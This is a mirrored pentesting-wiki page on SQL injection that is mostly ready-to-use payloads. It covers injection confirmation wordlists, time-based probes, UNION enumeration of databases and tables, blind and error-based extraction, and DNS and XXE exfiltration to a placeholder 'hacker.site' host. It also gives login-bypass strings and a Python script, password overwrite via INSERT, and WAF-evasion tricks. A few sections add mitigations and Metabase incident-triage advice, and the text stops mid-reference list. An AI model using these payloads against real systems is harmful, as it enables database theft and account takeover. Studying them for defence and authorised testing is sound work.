overview.md (33693B)
1 --- 2 title: "SQL Injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SQL Injection 14 15 ## What is SQL injection? 16 17 An **SQL injection** is a security flaw that allows attackers to **interfere with an application's database queries**. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they should not access, including other users' information or any data available to the application. Such actions may permanently alter the application's functionality or content, compromise the server, or cause a denial of service. 18 19 ## Entry point detection 20 21 When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples: 22 23 ```text 24 [Nothing] 25 ' 26 " 27 ` 28 ') 29 ") 30 `) 31 ')) 32 ")) 33 `)) 34 ``` 35 36 Then, you need to know how to **fix the query so there isn't errors**. In order to fix the query you can **input** data so the **previous query accept the new data**, or you can just **input** your data and **add a comment symbol add the end**. 37 38 _Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._ 39 40 ### **Comments** 41 42 ```sql 43 MySQL 44 #comment 45 -- comment [Note the space after the double dash] 46 /*comment*/ 47 /*! MYSQL Special SQL */ 48 49 PostgreSQL 50 --comment 51 /*comment*/ 52 53 MSQL 54 --comment 55 /*comment*/ 56 57 Oracle 58 --comment 59 60 SQLite 61 --comment 62 /*comment*/ 63 64 HQL 65 HQL does not support comments 66 ``` 67 68 ### Confirming with logical operations 69 70 A reliable method to confirm an SQL injection vulnerability involves executing a **logical operation** and observing the expected outcomes. For instance, a GET parameter such as `?username=Peter` yielding identical content when modified to `?username=Peter' or '1'='1` indicates a SQL injection vulnerability. 71 72 Similarly, the application of **mathematical operations** serves as an effective confirmation technique. For example, if accessing `?id=1` and `?id=2-1` produce the same result, it's indicative of SQL injection. 73 74 Examples demonstrating logical operation confirmation: 75 76 ```text 77 page.asp?id=1 or 1=1 -- results in true 78 page.asp?id=1' or 1=1 -- results in true 79 page.asp?id=1" or 1=1 -- results in true 80 page.asp?id=1 and 1=2 -- results in false 81 ``` 82 83 This word-list was created to try to **confirm SQLinjections** in the proposed way: 84 85 <details> 86 <summary>True SQLi</summary> 87 ```text 88 true 89 1 90 1>0 91 2-1 92 0+1 93 1*1 94 1%2 95 1 & 1 96 1&1 97 1 && 2 98 1&&2 99 -1 || 1 100 -1||1 101 -1 oR 1=1 102 1 aND 1=1 103 (1)oR(1=1) 104 (1)aND(1=1) 105 -1/**/oR/**/1=1 106 1/**/aND/**/1=1 107 1' 108 1'>'0 109 2'-'1 110 0'+'1 111 1'*'1 112 1'%'2 113 1'&'1'='1 114 1'&&'2'='1 115 -1'||'1'='1 116 -1'oR'1'='1 117 1'aND'1'='1 118 1" 119 1">"0 120 2"-"1 121 0"+"1 122 1"*"1 123 1"%"2 124 1"&"1"="1 125 1"&&"2"="1 126 -1"||"1"="1 127 -1"oR"1"="1 128 1"aND"1"="1 129 1` 130 1`>`0 131 2`-`1 132 0`+`1 133 1`*`1 134 1`%`2 135 1`&`1`=`1 136 1`&&`2`=`1 137 -1`||`1`=`1 138 -1`oR`1`=`1 139 1`aND`1`=`1 140 1')>('0 141 2')-('1 142 0')+('1 143 1')*('1 144 1')%('2 145 1')&'1'=('1 146 1')&&'1'=('1 147 -1')||'1'=('1 148 -1')oR'1'=('1 149 1')aND'1'=('1 150 1")>("0 151 2")-("1 152 0")+("1 153 1")*("1 154 1")%("2 155 1")&"1"=("1 156 1")&&"1"=("1 157 -1")||"1"=("1 158 -1")oR"1"=("1 159 1")aND"1"=("1 160 1`)>(`0 161 2`)-(`1 162 0`)+(`1 163 1`)*(`1 164 1`)%(`2 165 1`)&`1`=(`1 166 1`)&&`1`=(`1 167 -1`)||`1`=(`1 168 -1`)oR`1`=(`1 169 1`)aND`1`=(`1 170 ``` 171 </details> 172 173 ### Confirming with Timing 174 175 In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\ 176 Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete: 177 178 ```text 179 MySQL (string concat and logical ops) 180 1' + sleep(10) 181 1' and sleep(10) 182 1' && sleep(10) 183 1' | sleep(10) 184 185 PostgreSQL (only support string concat) 186 1' || pg_sleep(10) 187 188 MSQL 189 1' WAITFOR DELAY '0:0:10' 190 191 Oracle 192 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 193 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10) 194 195 SQLite 196 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 197 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 198 ``` 199 200 In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_. 201 202 ### Identifying Back-end 203 204 The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):<sup>[[1]](#references)</sup> 205 206 ```bash 207 ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], 208 ["connection_id()=connection_id()" ,"MYSQL"], 209 ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], 210 ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], 211 ["@@CONNECTIONS>0" ,"MSSQL"], 212 ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], 213 ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], 214 ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], 215 ["ROWNUM=ROWNUM" ,"ORACLE"], 216 ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], 217 ["LNNVL(0=123)" ,"ORACLE"], 218 ["5::int=5" ,"POSTGRESQL"], 219 ["5::integer=5" ,"POSTGRESQL"], 220 ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], 221 ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], 222 ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], 223 ["current_database()=current_database()" ,"POSTGRESQL"], 224 ["sqlite_version()=sqlite_version()" ,"SQLITE"], 225 ["last_insert_rowid()>1" ,"SQLITE"], 226 ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], 227 ["val(cvar(1))=1" ,"MSACCESS"], 228 ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], 229 ["cdbl(1)=cdbl(1)" ,"MSACCESS"], 230 ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], 231 ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], 232 ``` 233 234 Also, if you have access to the output of the query, you could make it **print the version of the database**. 235 236 > [!TIP] 237 > A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example. 238 239 ### Identifying with PortSwigger 240 241 242 [Cheat Sheet](https%3A//portswigger.net/web-security/sql-injection/cheat-sheet) 243 244 ## Exploiting Union Based 245 246 ### Detecting number of columns 247 248 If you can see the output of the query this is the best way to exploit it.\ 249 First, determine the **number of columns** returned by the **original query**, because both sides of the `UNION` must return the same number.\ 250 Two methods are typically used for this purpose: 251 252 #### Order/Group by 253 254 To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count. 255 256 ```sql 257 1' ORDER BY 1--+ #True 258 1' ORDER BY 2--+ #True 259 1' ORDER BY 3--+ #True 260 1' ORDER BY 4--+ #False - Query is only using 3 columns 261 #-1' UNION SELECT 1,2,3--+ True 262 ``` 263 264 ```sql 265 1' GROUP BY 1--+ #True 266 1' GROUP BY 2--+ #True 267 1' GROUP BY 3--+ #True 268 1' GROUP BY 4--+ #False - Query is only using 3 columns 269 #-1' UNION SELECT 1,2,3--+ True 270 ``` 271 272 #### UNION SELECT 273 274 Select more and more null values until the query is correct: 275 276 ```sql 277 1' UNION SELECT null-- - Not working 278 1' UNION SELECT null,null-- - Not working 279 1' UNION SELECT null,null,null-- - Worked 280 ``` 281 282 _You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._ 283 284 ### Extract database names, table names and column names 285 286 On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table: 287 288 ```sql 289 #Database names 290 -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata 291 292 #Tables of a database 293 -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] 294 295 #Column names 296 -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] 297 ``` 298 299 _There is a different way to discover this data on every different database, but it's always the same methodology._ 300 301 ## Exploiting Hidden Union Based 302 303 When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned. 304 305 This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised. 306 307 Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection. 308 309 For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).<sup>[[2]](#references)</sup> 310 311 ## Exploiting Error based 312 313 If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\ 314 Following a similar flow as in the Union Based exploitation you could manage to dump the DB. 315 316 ```sql 317 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) 318 ``` 319 320 ## Exploiting Blind SQLi 321 322 In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\ 323 In this case, you can abuse that behaviour to dump the database char by char: 324 325 ```sql 326 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' 327 ``` 328 329 ## Exploiting Error Blind SQLi 330 331 This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char: 332 333 ```sql 334 AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - 335 ``` 336 337 ## Exploiting Time Based SQLi 338 339 In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](#confirming-with-timing). 340 341 ```sql 342 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# 343 ``` 344 345 ## Stacked Queries 346 347 You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay. 348 349 **Oracle** doesn't support **stacked queries.** **MySQL, Microsoft** and **PostgreSQL** support them: `QUERY-1-HERE; QUERY-2-HERE` 350 351 ## Out of band Exploitation 352 353 If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries: 354 355 ```sql 356 select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); 357 ``` 358 359 ### Out of band data exfiltration via XXE 360 361 ```sql 362 a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- - 363 ``` 364 365 ## Automated Exploitation 366 367 Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap). 368 369 ## Tech specific info 370 371 The preceding sections cover generic SQL injection exploitation. The following pages contain additional DBMS-specific techniques: 372 373 - [MS Access](/hacktricks/pentesting-web/sql-injection/ms-access-sql-injection) 374 - [MSSQL](/hacktricks/pentesting-web/sql-injection/mssql-injection) 375 - [MySQL](mysql-injection/index.html) 376 - [Oracle](/hacktricks/pentesting-web/sql-injection/oracle-injection) 377 - [PostgreSQL](postgresql-injection/index.html) 378 379 Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)<sup>[[1]](#references)</sup> 380 381 ## Authentication bypass 382 383 List to try to bypass the login functionality: 384 385 386 [Sql Login Bypass](/hacktricks/pentesting-web/login-bypass/sql-login-bypass) 387 388 ### Raw hash authentication Bypass 389 390 ```sql 391 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" 392 ``` 393 394 This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access. 395 396 ```sql 397 md5("ffifdyop", true) = 'or'6�]��!r,��b� 398 sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! 399 ``` 400 401 ### Injected hash authentication Bypass 402 403 ```sql 404 admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' 405 ``` 406 407 **Recommended list**: 408 409 You should use as username each line of the list and as password always: _**Pass1234.**_\ 410 _(This payloads are also included in the big list mentioned at the beginning of this section)_ 411 412 [Sqli Hashbypass.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/sqli-hashbypass.txt) 413 414 ### GBK Authentication Bypass 415 416 IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_) 417 418 ```sql 419 %A8%27 OR 1=1;-- 2 420 %8C%A8%27 OR 1=1-- 2 421 %bf' or 1=1 -- -- 422 ``` 423 424 Python script: 425 426 ```python 427 import requests 428 url = "http://example.com/index.php" 429 cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') 430 data = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} 431 r = requests.post(url, data=data, cookies=cookies, headers={'referrer':url}) 432 print r.text 433 ``` 434 435 ### Polyglot injection (multicontext) 436 437 ```sql 438 SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ 439 ``` 440 441 ## Insert Statement 442 443 ### Modify password of existing object/user 444 445 To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something: 446 447 - Create user named: **AdMIn** (uppercase & lowercase letters) 448 - Create a user named: **admin=** 449 - **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a** 450 451 #### SQL Truncation Attack 452 453 If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password. 454 455 The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked). 456 457 More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)<sup>[[3]](#references)[[4]](#references)</sup> 458 459 _Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)<sup>[[5]](#references)</sup> 460 461 ### MySQL Insert time based checking 462 463 Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection. 464 465 ```sql 466 name=','');WAITFOR%20DELAY%20'0:0:5'--%20- 467 ``` 468 469 ### ON DUPLICATE KEY UPDATE 470 471 The `ON DUPLICATE KEY UPDATE` clause in MySQL is utilized to specify actions for the database to take when an attempt is made to insert a row that would result in a duplicate value in a UNIQUE index or PRIMARY KEY. The following example demonstrates how this feature can be exploited to modify the password of an administrator account: 472 473 Example Payload Injection: 474 475 An injection payload might be crafted as follows, where two rows are attempted to be inserted into the `users` table. The first row is a decoy, and the second row targets an existing administrator's email with the intention of updating the password: 476 477 ```sql 478 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; 479 ``` 480 481 Here's how it works: 482 483 - The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`. 484 - If the row for `admin_generic@example.com` already exists, the `ON DUPLICATE KEY UPDATE` clause triggers, instructing MySQL to update the `password` field of the existing row to "bcrypt_hash_of_newpassword". 485 - Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password). 486 487 ### Extract information 488 489 #### Creating 2 accounts at the same time 490 491 When trying to create a new user and username, password and email are needed: 492 493 ```text 494 SQLi payload: 495 username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - 496 497 A new user with username=otherUsername, password=otherPassword, email:FLAG will be created 498 ``` 499 500 #### Using decimal or hexadecimal 501 502 With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything. 503 504 Using **hex2dec** and **substr**: 505 506 ```sql 507 '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' 508 ``` 509 510 To get the text you can use: 511 512 ```python 513 __import__('binascii').unhexlify(hex(215573607263)[2:]) 514 ``` 515 516 Using **hex** and **replace** (and **substr**): 517 518 ```sql 519 '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' 520 521 '+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' 522 523 #Full ascii uppercase and lowercase replace: 524 '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' 525 ``` 526 527 ## Routed SQL injection 528 529 Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))<sup>[[6]](#references)</sup> 530 531 Example: 532 533 ```text 534 #Hex of: -1' union select login,password from users-- a 535 -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a 536 ``` 537 538 ## WAF Bypass 539 540 [Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)<sup>[[7]](#references)</sup> 541 542 ### No spaces bypass 543 544 No Space (%20) - bypass using whitespace alternatives 545 546 ```sql 547 ?id=1%09and%091=1%09-- 548 ?id=1%0Dand%0D1=1%0D-- 549 ?id=1%0Cand%0C1=1%0C-- 550 ?id=1%0Band%0B1=1%0B-- 551 ?id=1%0Aand%0A1=1%0A-- 552 ?id=1%A0and%A01=1%A0-- 553 ``` 554 555 No Whitespace - bypass using comments 556 557 ```sql 558 ?id=1/*comment*/and/**/1=1/**/-- 559 ``` 560 561 No Whitespace - bypass using parenthesis 562 563 ```sql 564 ?id=(1)and(1)=(1)-- 565 ``` 566 567 ### No commas bypass 568 569 No Comma - bypass using OFFSET, FROM and JOIN 570 571 ```text 572 LIMIT 0,1 -> LIMIT 1 OFFSET 0 573 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). 574 SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d 575 ``` 576 577 ### Generic Bypasses 578 579 Blacklist using keywords - bypass using uppercase/lowercase 580 581 ```sql 582 ?id=1 AND 1=1# 583 ?id=1 AnD 1=1# 584 ?id=1 aNd 1=1# 585 ``` 586 587 Blacklist using keywords case insensitive - bypass using an equivalent operator 588 589 ```text 590 AND -> && -> %26%26 591 OR -> || -> %7C%7C 592 = -> LIKE,REGEXP,RLIKE, not < and not > 593 > X -> not between 0 and X 594 WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) 595 ``` 596 597 ### Scientific Notation WAF bypass 598 599 You can find a more in-depth explanation of this trick in the [GoSecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).<sup>[[8]](#references)</sup>\ 600 Basically you can use the scientific notation in unexpected ways for the WAF to bypass it: 601 602 ```text 603 -1' or 1.e(1) or '1'='1 604 -1' or 1337.1337e1 or '1'='1 605 ' or 1.e('')= 606 ``` 607 608 ### Bypass Column Names Restriction 609 610 First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag` 611 612 It’s possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like: 613 614 ```bash 615 # This is an example with 3 columns that will extract the column number 3 616 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; 617 ``` 618 619 Or using a **comma bypass**: 620 621 ```bash 622 # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" 623 -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c 624 ``` 625 626 This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)<sup>[[9]](#references)</sup> 627 628 ### Column/tablename injection in SELECT list via subqueries 629 630 If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is:<sup>[[10]](#references)</sup> 631 632 ```php 633 // Pseudocode 634 $fieldname = $_REQUEST['fieldname']; // attacker-controlled 635 $tablename = $modInstance->table_name; // sometimes also attacker-influenced 636 $q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param 637 $stmt = $db->pquery($q, [$rec_id]); 638 ``` 639 640 Exploitation idea: inject a subquery into the field position to exfiltrate arbitrary data: 641 642 ```sql 643 -- Legit 644 SELECT user_name FROM vte_users WHERE id=1; 645 646 -- Injected subquery to extract a sensitive value (e.g., password reset token) 647 SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1; 648 ``` 649 650 Notes: 651 - This works even when the WHERE clause uses a bound parameter, because the identifier list is still string-concatenated. 652 - Some stacks additionally let you control the table name (tablename injection), enabling cross-table reads. 653 - Output sinks may reflect the selected value into HTML/JSON, allowing XSS or token exfiltration directly from the response. 654 655 Mitigations: 656 - Never concatenate identifiers from user input. Map allowed column names to a fixed allow-list and quote identifiers properly. 657 - If dynamic table access is required, restrict to a finite set and resolve server-side from a safe mapping. 658 659 660 ### SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates) 661 662 Some frameworks **convert structured filter ASTs into raw SQL boolean fragments** (e.g., metadata filters or JSON predicates) and then **string-concatenate** those fragments into larger queries. If the converter **wraps string values as `'%s'` without escaping**, a single quote in user input terminates the literal and the rest is parsed as SQL.<sup>[[11]](#references)</sup> 663 664 Example pattern (conceptual): 665 666 ```sql 667 JSON_VALUE(metadata, '$.department') = '<user_value>' 668 ``` 669 670 Payload (URL-encoded): `%27%20OR%20%271%27%3D%271` → decoded: `' OR '1'='1` → predicate becomes: 671 672 ```sql 673 JSON_VALUE(metadata, '$.department') = '' OR '1'='1' 674 ``` 675 676 ### Structured query-builder / raw-expression injection 677 678 Parameterized values do not help when attacker input is interpreted as part of a **query-builder AST**. If an API field expected to be a scalar reaches the builder without strict type and shape validation, a JSON object or array can select a builder directive instead of becoming bound data. For example, HoneySQL's `:raw` expression renders its argument as literal SQL, while `:lift` is intended to keep a sequence or map as a parameter value.<sup>[[14]](#references)[[16]](#references)</sup> 679 680 During testing, focus on the **data-to-query-syntax boundary**, not only quote characters. Replace scalar identifiers with objects/arrays, add undocumented keys, repeat the test across JSON and form encodings, and compare errors, timing, row counts, and generated-SQL traces. Classic string payloads may miss this class because the attacker injects a valid AST node rather than escaping from a quoted literal.<sup>[[14]](#references)[[16]](#references)</sup> 681 682 CVE-2026-72898 is an example: affected Metabase password-reset handling accepted an unexpected structured `user-id` value that became a HoneySQL raw expression. The following is only the request shape—the exact SQL expression and generated query are adapter/version-specific:<sup>[[13]](#references)[[16]](#references)</sup> 683 684 ```http 685 POST /api/session/reset_password HTTP/1.1 686 Host: metabase.example:3000 687 Content-Type: application/json 688 689 { 690 "token": "<reset-token>", 691 "user-id": {"raw": "<SQL expression>"}, 692 "password": "<new-password>" 693 } 694 ``` 695 696 When the sink is the application's own database, prioritize authentication state such as user IDs, password hashes/reset tokens, role or superuser flags, sessions, and API keys. Turning database write capability into an application administrator session can then expose legitimate query/export features and stored connection secrets; access to connected data sources inherits the privileges of the application's configured service accounts.<sup>[[13]](#references)[[15]](#references)[[16]](#references)</sup> 697 698 For Metabase incident triage, the vendor identifies `POST /api/session/reset_password` returning `400` followed shortly by `GET /api/user/current` returning `200` as a likely-compromise sequence. Correlate it with object-valued `user-id` bodies, unexplained administrator or `core_user.is_superuser` changes, new API keys, session activity, and subsequent queries against connected databases.<sup>[[15]](#references)[[16]](#references)</sup> 699 700 Hardening must happen before query construction: reject unknown fields and non-primitive identifier values, rebuild permitted query nodes server-side from an allow-list, and never deserialize a request object directly into a builder DSL. Keep `:raw` expressions limited to static trusted application code; use bound values (or HoneySQL `:lift` when a map/sequence is genuinely database data) for attacker-influenced values.<sup>[[14]](#references)[[16]](#references)</sup> 701 702 ### ORDER BY / identifier-based SQLi (PDO limitation) 703 704 Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled.<sup>[[12]](#references)</sup> 705 706 Vulnerable pattern: 707 708 ```php 709 $sort = $_POST['sort']; 710 $q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`"; 711 $stmt = $pdo->prepare($q); 712 $stmt->execute([$user_id]); 713 ``` 714 715 Signals in traffic: 716 717 - Sort parameter in **POST** (often `sort=column`), not a fixed allow-list. 718 - Changing `sort` breaks the query or alters output ordering. 719 720 721 ### WAF bypass suggester tools 722 723 724 [Atlas](https%3A//github.com/m4ll0k/Atlas) 725 726 ## Other Guides 727 728 - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) 729 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)<sup>[[1]](#references)</sup> 730 731 ## Brute-Force Detection List 732 733 734 [Sqli.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt) 735 736 ## References 737 738 - [1] [PayloadsAllTheThings – SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 739 - [2] [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) 740 - [3] 